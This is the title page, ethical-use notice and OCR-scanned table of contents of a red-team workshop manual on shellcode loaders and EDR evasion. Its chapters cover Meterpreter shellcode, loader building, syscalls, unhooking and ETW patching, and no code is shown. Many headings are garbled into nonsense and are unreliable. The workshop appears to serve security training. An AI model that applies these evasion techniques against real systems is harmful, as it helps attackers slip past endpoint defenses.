REDOPS

INFORMATION SECURITY

Endpoint Security Insights
Shellcode Loaders & Evasion Fundamentals

Workshop Material (Demo)

Participant: Demo Material
Date: January 2026

Version: 1.5

This content is provided as a limited preview of the workshop and is intended solely for ethical, academic, and
research purposes. Any misuse or unauthorized redistribution is prohibited.



ON SECURITY

Table of Contents

EXPrESSIONS OF ThANKS ..ttt ettt et ettt et e et et e eaaasnesassnesesnsnesesnsnesesnsnesesnsnesesnsnesesnsnennes 37
NON-DiSCLOSUIE & USAZE POLICY .. cuiiniiniiiiiiiiiiiiietieie et tie et et eea ettt et e stneaneensansessnstnstnsensrnsessassnssnsensensensensansens 38
CoNfidentiality ABFEEIMENT ...uiiiii ittt et ettt ettt e et et et e euaeauneansasaeanneansasnsanneensssnsenneensennsennsenns 38
EthiCal USE DISCLAIMET .c.uiutiiiiiiiii i ettt et et e b et st e b s ea s aa e b s eaesanenaseneeanennsens 38
Academic and EAUCAtIONAl PUIPOSE ...u.iuiiiiiiiiiiiiiee et ettt ettt et e et e et et eaastesaaenesasesnesasesnensensnennes 38
Personalized Watermarking & TraCking MECHaNISIMS . ..vuiiniiiiiiiiiiiii et e et e e sa e e e s e eansanaanas 39
Document Information & Version CONTIOL........ciiuiiiiiiiiiiiiiiiiiii ettt et et e e et e e e eaas 39
Private Copy — Personalized fOr DEMmMO Material ... c.eeieniiiiiiiiiiiiiie et et ee e et et s e eas et enaasansansanaanns 39
AAYe14 o] o M I a} 4 foTo 18 o1 4 Lo o HEUN S SO PP PRPTRRN 40
VAo 4 1] o o o1 U F- TP PP PPN 41
WY THIS COUISE? ettt ettt et et et et et et e b st st e b e easaa e atstaeetaeaanstaesanennstnesnnsennsens 42
WRATWILLYOU LEAINT .ottt et e et et e et et e e e e tb e et aae s taeaaseanetaeeansennsenesanennsens 43
What This COUISE IS INOT..c.uuiiiiiii ittt et et et eaa et aa et a e eaa e eaa e eaaeeaaeennseenaseenes 44
Why C Programming LAnGUAEE? . cueuiieiiiiiiieiieiieteete et eieeteeetetneteeansaesenasnsnsensassnnsensessnstnsensanssesessessnssnsrnsensensens 44
Training FOrmMat & REQUITEMENTS . ouiiiiii et e et et e a et et et e e at e e eansansasanansensanssnsensnsenssnsensensensenns 44
(07e] 81 &1= 3 17 =1 o Yo [o] Lo =4V A PPN 45
(070 U] =13 =] o PPN 46
(70 18] =10 Lo T ] - T PPN 47
Best Practices for Testing Shellcode Loaders and Setting Up an EDRLab .....c.oiviiiiiiniiiiiiiiiiiice e, 48
[aY(goTe [UTe1 4[] o PO PPRPPPINE 48
Know Your Loader — Know YOUr EDR . .c..uiiiin ittt e e s e e eeaeee 48

VM WITROUT EDR .ceeiiiiiiiiiii e ettt e e et et e ta e e taa s etae s e tna s etneseeneeeneseanesees 48

AV ST g =T o 1< [ ) £ T PPN 48

YA L E= [0 = N 49
DT oW F=f={ gV = Ao T=Yox d o] |- FOU O PP PR P TP TRPTRS 49

(0] 11 gL =TS} AT = O T O PP PP 49
Harmless SNEICOTE ciuuuuiiiiiiiiiiiiii ittt s et s e et e seeaaa s e eaaaaees 49
(0372 g T=1 ([T oo [ PP 49

(O T LT = [T PP 50
Chapter 1: WIindoWS INtEINals BasSiCS .uuiuuiuiiiiiiiii it e et et et et et et et e e et saesasaanesnernsensansanees 51
1.7 ODJECTIVES Of LEBAINING .. eeuiiieiiiieei ettt ettt ettt et e ettt e et et et eeanetueanetnnaensasnetnnsensssnsennaensssnsenssensesneens 52
LIV AR Y1 (=10 W AN o ) (= Yot (U] - T PP PR PR PRPPRN 53
WINAOWS Pre-NT ..ottt et e e et et e ta e taa s eaas s eaaseesassennssans 53
WiINdows NT ArChItECTUIE ....iiiuiiiiiiiiiiii et e et e aa e ra s eaa e ees 53
101 o T0 g F=1 VP 54

LIRS AT AT T [o T3 Y o PN 56
INtroducCtion TO WINAOWS APIS ...cuuiiiiiiiiiiiiiii ittt e s e et ea st e e eaaseneeanss 56

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 2



(@ REDOPS

XB4 CalliNg CONVENTION ceuuetitiiiiieeietie ettt ettt et et ete et etuetaeesaetuetaeesnsannetnsasestusasnssssstnsesnsesssensesnsenssensesnsen 57
Windows APIS in Malware DeVElOPMENT. ... vt ee ettt e et et e et e e e e enaaseneaasneneansenennsns 58
EDR Monitoring of HIh-RiISK APIS «......iiiiiiiiiie et ettt e et e e et e e eeena s e eennaeenens 58
101 010 g F-1 oV PPN 58
TLAINGEIVE APIS oottt a et a et aa st aa e e b e e b e eaa e eanees 59
Introduction to Native APIS ON WINOWS .....cuuiiiiiiiiiiiiiiiiii ittt et et e e e s e e eaaes 59
10T 010 ¢ =1 4V TPRRRN 60
LRI Y] =1 T 7= 1L PPN 61
VA F= L A T IS =1 1.0 W O | ST 61
Why do we need SYyStem Calls @t @ll? ....ceniuiiiiiiii et et et e e ee et ete e s et e e easaaneanansensansensansens 62
101 010 g F-1 oV O PP PRPRPRRN 64
IS o foTeT TS -1 PP PPRPPPTRRE 65
ProCesSes iNWINGOWS ...ccuuuiiiiiiiiiiiii ittt et ettt e b e eabe et e e e s eeaa s eeaa s etaasetanetnnennnsennns 65
Process States iNWINAOWS .....ouuiiiiiiiiiii ittt ettt e e et et e b s ea st e b st st eansenesanennsas 65
From Creation t0 EXECULION ..eu.ieiiii ittt et et et st st e e st et s eaa s eaeeanenasas 66
Termination @NA CLEANUD c...iun ittt et e et et et st eae s eaeta e eaastneanseaestnennsennsens 68
e fo YooYl o [T o) Y/ 1 o V= S PPN 69
Security Context aNd ACCESS CONTIOL...uuiuiiuiiiiiiiiii et e it e e eeeeee ettt et eraeeaseeenstnarnstnsensessessessnsrnsrnsensenns 70
101 010 o -1 oV PPN 71
IR 3 I =T - PP PPPPPPPTRE 72
THrEadS IN WINAOWS....iiiiiiiiiii ittt ettt et e e et et et e b et st eaa st et eanstaeanseanstneeansennssns 72
Thread Scheduling and MUITASKING «.e.cuniiiiiriri ettt et et et et et eaeensenseneansanennennensensansensansnns 73
SECUNtY aNA ACCESS CONTIOL tuuiiiniiniiiiiietiei ettt ee et et et ettt et eaeansaaeanennennensensansensnnsnsssssnsensensensensnnns 73
Creating and KilliNg TRIEAOS ... cuii et e et et et et et e et e e e e e e saaeaeasnesnasasanssnssnseesnsrnsenssnsensenns 73
Thread Communication and SYNCRIONIZAtION .. ..iveiiiiii et e e e e e e e e s e et eneen e s e e eaeananns 74
The Importance of Threads in MULLITASKING ....c.iniin it e e e e e e e e s e eaneans 74
101 010 o =1 VPPN 74
1.8 Process ENVIroNmMeENt BLOCK........ciuuiiiiiiiiiiiiiiii i e 75
SUMIMIAIY et tee ettt ettt et ettt eueu e e eaneaneaeeanennanensansensansnnsnsensssssnsensesssssnnssnsnsensensensnssssssssnsensensensensnnn 76
LR R =T aTo] oV E=Ta F= Y= oY a a = o | S P O P PP PP PPN 77
VirtUal MemOry iN WINAOWS ...ttt ettt ee et e e e e et et e e e sensaneaesanasnsnsensensansansnnsnssnssnsensensensnns 77
G J A oYL AV o7 R o T VA o A =1 0\ [T 0 T VP RPRNN 78
ATA oY A T o (=1 0\ 1T 0 s T VA7 PP 78
Who Manages VirtUal MEIMOTY? ...ueeieieiie ettt et et e et e et e e e et e eu et et etuseenanneannsensasnstnnaenssnnsenasnnsanneens 81
LY g aToT oY = o E-=T 1= S PP PPPPPPN 81
MeEMOrY ManaEr - SYSTEIM SEIVICES ..iuuiuiiiiiiiiiie ittt tie ettt ettt tett et stnetnettaenssnstnstnsensassassssssssnsrnsensensanees 82
MemMOry TYPES AN Page STAtES ..iuuiuiiiiiiiiiii ettt et et et e e et et anensensansansansasssnsnsensensansansnnees 84
(07e] gTot=T o) a0} BS] aF-1 ¢=To N7 =T 0 1 o] V2N PR PPRN 87
(070] o)V oY 0 1AV 41 (TP PRRRN 88

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 3



ON SECURITY

10T o T0 g F=1 oY 89
Chapter 2: Endpoint Detection and RESPONSE, @ PriMET .....iuiiiiiiiieiieeee e e et e e e e et ete e e e e e e e eanaes 90
DA B @ o) (=T (1Y T o ) fl I=Y- 1 o1 ¥ = PP PPN 91
2.2: Prevention VS. DETECTION .cuuuiiiiiiiii ittt et et a et e b et et b st aa e eaa e eaae s 92
T Lo o 18T 4 o PPN 92

(=Y aTe[oTo] g} g od (o) (=T o] 1 o] o PN TP TPt 92
ENdpoint DeteCtioN @nNd RESPONSE ..iuiuiiiiiiiiiiiiieii et eete et et ete ittt eaeaeteeanenesesnssesssnssesesnsnesesnsneessesnennses 92
2.3: Architecture 0f MOAErn EDRS .....cuuiiiiiiiiiii ittt et et e et e e s ea s e eaaee 93
[FaL oo I8 { o] o U U PRI 93
Static DeteCtion (DEfOre EXECULION) ... ittt ee et e e et e e ean et et taseasenatneanaascansesasernsensensenees 93
Behavioral Detections (dUring or after EXECUTION) ....iuuiuiuiiiiiiiiii ettt ettt e e e e eaeaeasabeeneeneansanannns 93
IN-Memory DeteCtions (@fter EXECULION) ..u.iuiie it e et et e e ea st ea s s taeanannsnnsnasneenannsensenns 93
=B R UETCY ST oF= [o1= X 0o g ] o Yol g 1= o) £ P TRPRN 95
USer SPace HOOKING DLL......cuuiiiiiiiiiiiii ettt et et et st e e s e e st e bt s ea st eanseaesanennnan 99
EDR WiINAOWS KErNEl COMPONENTS ...cuuiiiiiiiiiiiiiii ittt ettt et s e e e et st et s eastnennsenestnsennsaneeanss 99
SUMIMIATIY ettt ettt ettt ettt et et ettt e e ea e th e e e e s eaeaa sae s taeeaaeasetaseaastasstnsesnsensstnsesnstnsennsennstnnennne 102
AR S DI= o= Ted o o TN [T o] o F= T o 11T o - PP 103
[T oo 18T [ o T PP 103

S a1 (=T S E- 1T W D= =T o1 4 (o] o IO PPt 103
Behavior-Based DeteCTiONS .. ccuuuiiiiiiiiiiiiitii ettt ettt ettt et et et et et et et e eaes 106
SUMIMIATIY ettt ettt ettt ettt et b et et e e e ta s e e e s eaeaaeaastaeeaaseaastaseaatasstnsesssensstnsesnstnsennsennstnnennne 111
Chapter 3: Deep Dive ShellCOde & LOAUEBIS. .. ..ttt ettt te et et et et et e e e e eensanennennensensansansensnns 112
T8 oo 18 o o o I PP 112
T @ o (=T {1V T o ) fl IU=Y- T f o1 o ¥ = PRt 112
3.2: Shellcode Loader Structure & CharaCteriStiCS .u..iiuuuiiuuiiiiiiiiiiiiiiii ettt ettt e e eeees 113
T aLa oo 18] o1 4[] o PP PPP PP 113

[0 =T =T PP 113

RS 1T 1 oo T = N 115
Local EXecution VS ReMOtE INJECTION.....uiunii ettt ee et et ee e e e e s e s e eaneanennansaneensenennens 116
RO 0270231 s T=1 [ [eToYo SN @] 0] o F-1 4 1Yo T o ISP PRPP 117
oo [T 1o o P 117
=Y (=] g o] (=1 (=] TP PRSP PPPRTON 117
(0] o =1L A {1 PP PPTPRN 118
2T N = = RN 119
3.4: Shellcode CentriC EVASION ....c...iiiiiiiiiiiiiiiiiiii et 120
T e 18 o T o PP 120
Indirect Influence on Shellcode EVasion ........cccovviiiiiiiiiiiiiiiiiiii 120
3.5: Loader CentriC EVASION.......oiiiiiiiiiiiiiii i et et aas 121
LT oo U T o] o PPN 121

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 4



(@ REDOPS

INfluENCE ON LOAAEE EVASION ..iuiiiiiiiiiiiiiiiiiii ittt et et e e st e b st e e s eaastaeanes 121
Shellcode Positioning in Portable EXECUTADLE ......ccuieniiiniiiiiei ettt ete et ee e ea e e eaneanaes 122
(1Y 0 aTo] oV = o) (=T o] o] o H U PPt 122
S]a1=](eToTe [N aTeToTo [1a¥=3F=Ta o I =l aTed 07/ o] 4 (o] s PSR PPPPPPN 122
Shellcode HOStING 0N CLOUG SEIVICES .ouuiuiiuiiiiiiiieiieiie ettt ete e eetetetestsetesnstnstnstnsensassessnssnsenssnseasenees 123

[ T ol =T o (o] gV A\ o ToF= 1 { (o] o FN T PO PTPPPPPPINY 123
MOAULE SEOMIPINEG ceenetieiiiiii ittt ettt ettt e et ettt e et eau et eaeeanataanneanasnsasnsansasnsenssensesnsennsenssnnsenneenns 123
FUNCTION STOMIPDING .eetiiiitii ettt ettt ettt ettt e e et e et e e et e et eanataanneanatasannsansannsennsensasntennsensssnsenneenns 124
ASYNChroNOUS ProCedUIE Calls (AP CS) . .uiuii it ee ettt e et e e e s et et et st et stesnetnesnesnsasanasnasnasnsenssnns 124
(02111 o T=Ted g U1 Tex  Fo o 13N PSP 124
JLILLLCCT= T 1 o o PPN 125
L1 7= £ PPN 125
[IoF-To [T gl i o L= TN 10T o1 o P S PPt 125
R8T 0 0 =T Y O PPN 125
Chapter 4: Staged VS STAZELESS ..uuuiuiiiiii ettt et e e e b e st e b st st e e e e eas 126
[ oY (oo I8 o1 {0} o NN TP PTPPN 126
4.1 ObJECTIVES Of LBAIMING coniiiiiiiiiiii i e et e et e e et ea et eae et tnaansansansasanssnesnetnsansessensensnsrnsensensenenns 126
4.2: Staged Meterpreter SNEILCOTE . ..uu ittt e et et et e e et et e et s e eansaneenensaneenseneenenns 127
LT oY 18 o1 4T o I PPN 127
4.3: Workbook — Staged Meterpreter ShellCOTE v it e e e e s e e e e e e e e eanenns 128
[N oo I8 Te1 (o] o NN PP PRIt 128
HEX-SEING FOIMAT .ottt ettt et et et et et en e e e e e eaaenaeanennanansansansanennsnnanssnsensensensnnsnns 128
HEX-ATTAY FOIMIAT «oeeeiiiie ittt ettt et et ettt et et et e e eaeaaaeusaneansansansnnennansanstnsansnnsnnsnnenssnsensensensnnsnns 129
RN AT o T o g | RPN 130
Parameter Description Payload Creation......cc. ittt et e e e e e et e e e e et eaeasnesnesneaneansnnsens 130
oY (T g o) CoY (T g = Tot=To I (=Y o] PPt 131
Parameter DeSCription StAged LISTENEN ...cu et et et et et et et et e ena e e et e ene et eensennseneenns 131
SUIMIMIAIY ittt ettt et et ettt ea et e e et eaneanesneanansansansansansnnassanstnsensensenssnssnsnssnsensensensnsensesnsnsensensensenees 132
4.4: Stageless Meterpreter SNELLCOUE .. .. v et e et ettt e e e e e e e e e sanenneneansansensanenns 133
LT oo 18 o T o N 133
Staged VS. StagelesS SNELLCOTE . ouen ittt et et ettt e s e s e e e e e eanenenanseneensaneanens 133
101 010 o =1 oY 134
4.5: Workbook - Stageless Meterpreter SNEICOTE ....vuniueiiiiieie ettt et e et et e ee e e eeneennaen 134
Lo T BT {0} o PP 134
RN AT T o = | PPN 134

[ Lo AN g = |V o] 1 0 - | PSR P TP PRPPPPPRIOt 135
HEX STIING FOIMAT ..ttt ee e et et e e et eaeuetueansaneansaseasensansensansansenenssnssnssnsensensensnnenns 136
Hex String - Visual STUAio LimMitation ....ee e ee et e e e e eas e e et s e eaneanennennensnsensensensnnsnns 136
Parameter Description Payload Creation .. ... it et e e e e e e e e e e et eaesaa s s e rneeneaennaans 137

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 5



ON SECURITY

METErPrEtEr STAGELESS LiSTENMEI . ettt ettt ettt et ettt e et e e et eeueeeaeaaeannsannanneannsensannsenneenessnnes 138
Parameter Description Stageless LiStENET ... uu i ittt et et e e e et e e eeaeeaneenneenaeannan 138
1010 010 o F-1 oY 2ROt 139
Chapter 5: ABasSe — ClasSiC LOAUET ....uuiiiiiiiii it ee ettt ettt ee e e te e et saneanansanssnsansansassessnsensensrnsensansens 140
(Fa L oo 18T 4 o I PP PPPPRR 140
5.1 ObJECTHIVES Of LBAIMING ceuiiniiiiieii ettt ettt ettt et et et e et e aueaneaaaeanneaneesneanneenesnnsanneensssnsens 140
5.2: ClassiC LOAder iN DEtaAil...c...euuniiiiieiiieiie e et e et et et et et s et e ea e ta e eena e enas 141
TN oo [UT e { o] o U O PPRN 141
=T aa [ ] g YA A\ Lo oF-1 4o o HNU TS PO P PPN 141
AU SR CIS] g TeT L eToTo [ do I 1 =1 0 To ] o A R UPPP 142
EXECULE ShEllCOOE .. cuuiiiiiiiiiiiiii i ettt et e e et e eb et eeaa e eeaaeenes 143
LLALECE= 1o B =T 0 011 =11 o] o TR PP 145
5.3: Characteristics Of VIFTUGLAILOC ...c..uiiiniiiiiiiii ettt ettt e e et e e e eaes 146
SUMIMIAIY ettt ettt ettt ettt et ettt et e e et eaa e e s ta e aaeaaestaeaaseeaaatnseaasessetnserssensstnsesnsensennsennstnnennne 146
5.4: Lab — ClasSiC LOAUET ..cuuiiuiiiiiiiiiii ittt ettt et ettt et e e st st e b st s e e aa st eaa e enaeens 147
[ ok o To [UTe1 4 o] o RPN 147
(@MY RV TSNV o) i a[-Y Mo T=To [ g 0o ] o Lol =Y o | AU PRt 147
STUAENES TASKS 1 eeii ittt ettt et et et et eea s eea s etne s etne s etneseeneeeneseanasees 147
Meterpreter: Shellcode and Listener Preparation ... i ettt e e e e e e e e s e e e e e eanees 148
Visual Studio: BUildiNg the LOATET ....uniunii ittt e et e e e et et e et e e et e e eaneanennsnsenssnsensenees 148
X64dbg: Debugging Preparations ... ittt ettt bt e e a e e 149
X64dbg: DEbUZEING The LOAUEN ....uuiiiiiiiiiieiiei ettt ettt ee e e e et eaeaenansansensensansansnsnsansansensansannn 149
5.4.1: WOrkbook — VisSual STUAIO ..c.u.iiiuriiiiiiiiniiiiiiiiiiii et 150
T gL oo 18] o1 [ o PP PTPPPP 150
Loader FUNCTIONALltY SUMMIAIY .. ittt ee et et et et et eue s et saasansssnesnssnsanssnsensessnssnsrnsrnsenses 150

1 AE Lo 1=l o A = TS T PPN 150
TasK: INSEIt SNELLCOTE.....uuiiniiiiiiii ettt e e et et e et s e taa e eaa e eeaa s eennseenns 151
Task: ENable FUNCLIONS c....ciuuiiiiiiiiiiii e e e ea e 152
151 S (= 0 0 oY o VA = (o = To1 4 o] o D T PP PPN 153
5.4.2: Workbook — Compile Loader & TEST RUN ....euiniiniiiiieiei ettt et et et et eaeaenensensansansanenns 154
oo [T 1o o P 154
Task: Loader Compilation - DEDUZ VEISION «..uuiuniiiiieii ettt et et et e et et et s eneeneeneenaeaneenannnan 154
Task: MeEterPreter TEST RUN ..cuiuii i ettt e ettt e it e et et teneaaeeneasaneneastnsnenssnssenssnsnsnsssnennsnsnns 154
101 010 o F=1 VPPt 155
5.4.3: Workbook — Debugging Preparations ....cu.vee i iiiiriiriiiiiei et eie et et et et eaeaseneensensensanssnsnssnsensensensensnns 156
T e 18 o T o PP 156
TasK: CheCK ProjECt PrOPEITIES «uvuiiniiiiiiiieiiitiei e et et et ettt et tte e et st eaneanenstnsansansansasensenssnsensensenrenees 156
Task: ENable DebUZGEING SECTIONS ...uiuniiiiiiiii et te et et et et e s e s e sansaneanennenansensensensanees 157
1) S Mo T To [T ol @Y1 oY 011 €= d o o NS PPN 158

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 6



(@ REDOPS

Task: ATtaCh With XBAADE ...ttt ettt et et e et et et e e eaenen e e eeneanennnn 159
10T 010 g =1 4V PN 160
5.4.4: WOTrKDOOK — DEDUBEINEG ...euiiniiiiiiiieiie ettt e ee et et et et et et euetnsaneansassassnssnsensansenssssnssnssnstnsensensenees 161
LT oY 18 o 4T o I PPN 161
1A B Lo [=T A = TS PP 161
TaSK: MEMOIY AllOCATION «.uiti ittt e e e et te et et et e enaaenenaansnesesasnesasnsnssesesnsneeesnsnsensnsnennsns 161
Task: Writing ShellcOdE iN MEBMOIY ....iuiiiiei ettt ettt e et et ee e et e et eaae et eeuneaneenneannsanesnnsanneenns 162
Task: SHellCOdE EXECUTION ...ccuuiiii ittt e e e e et e et e et e eea s et e eene s eeneseeneees 163
10T 0T0 g =1 oV PPN 164
5.5: Classic Shellcode Loader FLAWS .......oiiuuiiiiiiiiiiiiiiiii e eaa e e eaaae 165
LT oY 18 o 4T o I PPN 165
WiN32CLassiC LOAAEr FLAWS .....couuiiiiiiiiiiiii ittt ettt et s et e e e s een s eene s eeneeees 165
oYY Co T Lol o T o BT [ o T 1= 4 PPt 166

R AT D 1 1=T 0 o T oY PP PPTPPPIRE 167
Shellcode Positioned in Portable EXECULADLE .......couiiiiiiiiiiii e e 168

] 8= = LYo IRS] =11 UeTo T 1= R PPN 169
Privat Committed Memory / UnbacCKed MEMOTIY . ... it e e e e e e e e e ee e s e s e saaanaans 170
Shellcode Execution Via NewW Thread.... oottt ettt e e e eaes 171
Loader without User Mode UNNOOKING .....vuiiniiiiiii ittt ee et e e et e et ete et s e eaneaneansanannsnssnesnsensnnsens 172
Loader with Direct or Indirect Syscalls / StaCk ANALYSIS ..uivuiuiiiiiiiiiiiiiiiie e e e et e ene e e e eaeananns 173
Loader WithOoUt ETW PatCRING ..c..euniiiiiii ittt ettt ettt et ea s e et e e st s e s eaa s e eanas 174
NON-ODBFUSCAIEA APIS c.uuiiiiiiiiiiiiiiiiii e r e a e e e e e e e 175
Portable Executable without Metadata..........cc.oviiiiiiiiiiiiiiiiiii 175

[ LT oI =l o1 o] o )V PPt 176
Loader without Code SigninNg CertifiCate .......iuuiiiieieiieie ettt et et et et e en et e e e enn e e eenns 177
101 010 o F=1 oV PPN 178
Chapter 6: Shellcode PoSitioNEd iINPE..... ...ttt et e et e e e e e et e e saeaeeneensaneaneanees 179
LT oL 18 o { T o PP 179
FUurther Reading anNd RESOUICES .....uiuiiiiiiiiiei et ee et et ettt e et et et et eaeeaneneneensensansanennsnnsnnsnstnsensensnnsnns 179
B.71: ObJECTHIVES Of LEAIMING ittt et e ettt e et et e et e et eetean et eauneanatneaneansasnsenseensssneenneanns 179
6.2: Portable EXeCUtable (PE) - SECTIONS ...ttt ettt et e e et et eaene e e e s e saneanennennsnsaneensansnnens 180
[aLageTe (8] o1 4] o SRR PPN 180

o =1 =TT o o o N 181
B0 F= =TT o o PN 182
L=y Q=T =T o] o} o PP 183
L1 18RS £= o] TP 184

B =T (o= T=T o3 1 o o PP 185
SUIMIMIAIY ettt ittt ettt ettt ettt eueaeneeneaneaneanessassansansensansnssnssssanstnsessessssssnssssnsensessensessnsenssnnsnsessensensnnees 186
6.3: LAB —Shellcode in .data SECTION ...ciuuiiii it et et e e e e e eaae e enn s eeneeeeneenneas 187

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 7



ON SECURITY

LN oo LU T { o] o PPN 187
SHUAENES TASKS ettt ettt ettt ettt et e tb e e et etaa et aa e eena e etna e etnaeenaeenaseenaeennsennnees 187
Meterpreter: Shellcode and Listener Preparation ... .. iiiiiiiiiie ettt e e e e e e e eae e e s e e e eaneanans 187
Visual Studio: BUildiNg the LOATET ....uuiuniiiiiiiiii et et et et et et et st et et saesaneasansansensensensenees 187
X64dbg: DEbUZEING Preparations ... it ie ettt e e ee e e e eeeeaeaeaanetneansansansansensnsensensensansennn 188
X64dbg: DEbUZEING The LOAUEN ....eneeniiiie ettt et ettt et e e e et et e e e e eaeen e e e e e eeneanennen 188
6.3.1: WOrKDOOK — VIiSUBLSTUAIO «.eeuiiiiiiiiiiiiiieeiie ettt et e et e et e eaa e eea e e eaa e ena e eennseenaeenns 189
TN oo [UT e { o] o U O PPRN 189
Loader FUNCHIONAl Y SUMMIAIY . ..iu ittt et et et et et ete et e s et et st stastesnesnssnsanasessesnesnesnssnsennen 189

1 AU Lo 1=T o A = TS T PPN 189
Task: INSErt SNELLCOTE......iiuiiiiiiiiii ittt e e et e tb e e e ea e enaeeaas 190
Task: ALLOCAte aNd RESEIVE MEIMOIY . ..ttt ie et ettt et e ee e et et et sanansatetnerasasannansenssnsensrnsenasenees 191
SRS I ARTA (o1 ¢ do e Yo ) Sl D I=1 o101 = {1 o I - PRt 192
T ok (o To 18T o1 4] o U S PPN 192
AU o L= o) gl F= 1 T PP PRIt 192
Task: SNEllCOAE POSITION c..iuiiiiiiiiii ittt ettt et et et st et ea st et s ena s enesaneennsas 192
1010 010 o F-1 oY 2Rt 194
6.4: LAB — ShellCOTE iN .FSIC SECTION. ccuuuiiiiiiiii ittt ettt et ettt et et et e eaa e eaaeean s eeaneenns 195
T oo 18T T o I PP 195
AU Lo T=T g o] PPN 195
Meterpreter: Shellcode and Listener Preparation ........occ.viuiiiiiiiiiiiiiici et 195
Visual Studio: BUildiNg the LOATEN c.uun ettt te et et e e et e e e s e e e eaneanennenensensensensenens 195
X64dbg: DebUZEING PreparaltiOns ...o.. it et ettt et ee e et et et eneaanstneensensansnnenssnsensansensensennn 196
X64dbg: DEDUZEING The LOAUET ..u.vniiiiiiiiiiiiie et e e et e e e e et et et st st aneansansanssnsssnssnennsensensenns 196
6.4.1: WOrkbOOK — ViSUGL STUAIO ..ceuuiiniiiiiiiiiiiiiie et ettt et e e et et et s eena s eenes 197
T aLa oo 18] o1 4[] o PP PPP PP 197
Loader FUNCTIONAL Y SUMMAIY .. ittt iee et e et e e et et et et saasnsansansensesnesnssnssnsensenssssnsrnsrnsensenees 197

B AU o 1= o A = ES N 198
Task: IMPLEMENT SHEICOUE . ..uieieieiei et ettt et e e et et eaea e s e s e et eaneanannansansensenrensenens 198
Task: SHellcode @S RESOUICE ........uiiiiiiiiiiiiiiiiiii ettt et e e b s et s e e b s e esaaaes 202
Additional Information: Replace ShElCOUE ..c..uniniiniiiiiiie ettt ettt e et e e e e enenaenseneeneensanens 206
6.4.2: WOTKDOOK = DEDUZEING ... ettt et et et e et e e e et et et e et e en st enneanaensannseneaensanneens 210
Lo To U T {0} o PPN 210
AU Lo 1=t o A F= TS TR PPN 210
Task: ShellcOde POSITION ...c...iiiuiiiiiiiiiiiiii ittt e e e e e eaes 210
S IMIAIY ettt ettt te ettt et ea ettt e e eeneaneaaesaeanansansansansssssssssessssssnsessenssssssesssnsensessessenensssnsnssnsensensensnnenns 212
(019 F=1 o) (=Y QAR U =T o q (o] gV i f0) {=Yox d o] s F PP PPNt 213
T oo 18 o o PP 213
Further Reading @nNd RESOUICES.....enii ettt et ettt e e et e e e et et e e e e eaen e e e eenenaens 213

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 8



(@ REDOPS

7.1 ObJECTIVES Of LEAIMING ..ceiiiiiieiiei ettt ettt ettt e et et et e ea et et e aaeeauneeneaseeanneansasnsannaensannsenneenns 213
A28 1110 aTe] oA o (o] (=T o] 1o s DR P PP PPN 214
LT oY 18 o1 4T o I PPN 214

[ fo) (=Y d[a¥=3 7 T=1 0 (o] VA O TP PPPPRPOt 214
RSO o F-Ya = (o [ o a Lol oV = o (=To1 4o o DR PPN 215
LYoo [UT e { o] o PP 215

YA (O =1L o) (T o PPN 216
R S =1 sl 1 =T (o] 4V o ] (Yot 4 o] o KON PP S PO PPPRPPN 218
LYoo [¥Te {0} o T PP 218
(@MY RVITS\ Vo) i g [- Y Mo T=To =Y g 0o ] o ToT = o | OSSP TRPPN 218
1A B Lo [=T g E T =] PPN 218
Meterpreter: Shellcode and LiStener Preparation ... e e i it e ee e s e s en e ee e e e s e eanannanns 219
Visual Studio: BUildiNg the LOATET ...u.iuniiiiiiiiii ettt et et e e e e e e et e e e aan e e eansaneansnssnsensensensens 219
X64dbg: DebUZEING PreparalioNs ... i ittt et et e st e e ea et e e ea e ens 220
X64dbg: DebUZEING TNE LOAUET cuuiiniiiiiiiiie ettt e e et e st eaa st st eaa s eaaeens 220
7.4.1: WOrkbOOK — ViSUBL STUTIO .. ceuuieiiiiiiiiiiiii ittt et et et et st et e e st e e s ena s e eanas 221
L gL oY 181 4T o IO PPN 221
[IeF-To [ST g =¥l aTeXuTo] aF=1 14 VA 10 [0 0] g F- 1 o/ PRt 221

1 AE Lo [=T o A = TS PP PP 221
Task: INSEIt SNELLCOTE ... iuuiiiiiiii ittt ettt st st s eea s et s e e s een s eene s eenaees 222
Task: Allocate and RESEIVE MEIMOIY ...ivuiiiuiiiiiii ittt ettt et et st et ea st st eaasaneeanss 223
Task: Change MemMOrY PrOtECTION .uiuuiee ittt et et ettt ee e et et eaeeanenensenseneanannesnenaansensensensnnnn 223
Function Call EXplanation - VIirtUAIPIOTECT......ee ettt et et e e e e s e e e e e eanenns 224
A S AL o ¢ (do Lo Yo ) Sl B T=Y o 10T = =11 o T - PN 225
L gL oY e 181 4T o IO PPN 225
AU Lo [=T o A = TS PP PPPP PP 225
Task: SNHEllCOAE POSITION ...uuiiueiiiiiiiii et ettt st et e et s et s een e eene s eenaees 225
TasSK: MEMOTY ALLOCATION . euieiiiiieiiiiei ettt et ettt et et et e e eae et eu e ensensansansananssnssnsansansnnennsnsensensensnnsennn 227
Task: Writing Shellcode iNMEMIOIY ....en ittt ettt ee et et e e eaens e e e s e eaneanesnenansensensansannn 229
Task: Change MEmMOry ProtECHION ...iu.ii ittt ettt ettt e et et ee e et e et eane et eeaneaneaansasnaansannsennennns 230
Task: Shellcode EXECULION .......uiiiiiiiiiiiiiii ittt eeaa s et s e saaa s e eeaaaeeeaes 232
101 010 o =1 oY 233
Chapter 8: ShellcOdE ENCOTING .....iuuiiiiiiieeie ettt ettt et e e et e et et et e eaeeueanaesnetnaaneanestnaesnstnnsensennsennnens 234
1o T U o [0} o PN 234
FUrther REading anNd RESOUICES ...uuiuiiiiiiiiiii et eie et et et ettt et et et et eeneaaeasenenstnstnsansansnssassnssnstnsensensnnsnns 234
8.1: OB ECTIVES Of LEAIMING .evniniiiiiiii it ee et ettt te e et et eae et enstusensansanssssassnssnstnsansesssssnssnssnsensensensenees 235
8.2: Shellcode ENCOAING VS. ENCIYPIION cen ittt et et et eae et s e e e e e saneaseanennsnsansensansenees 236
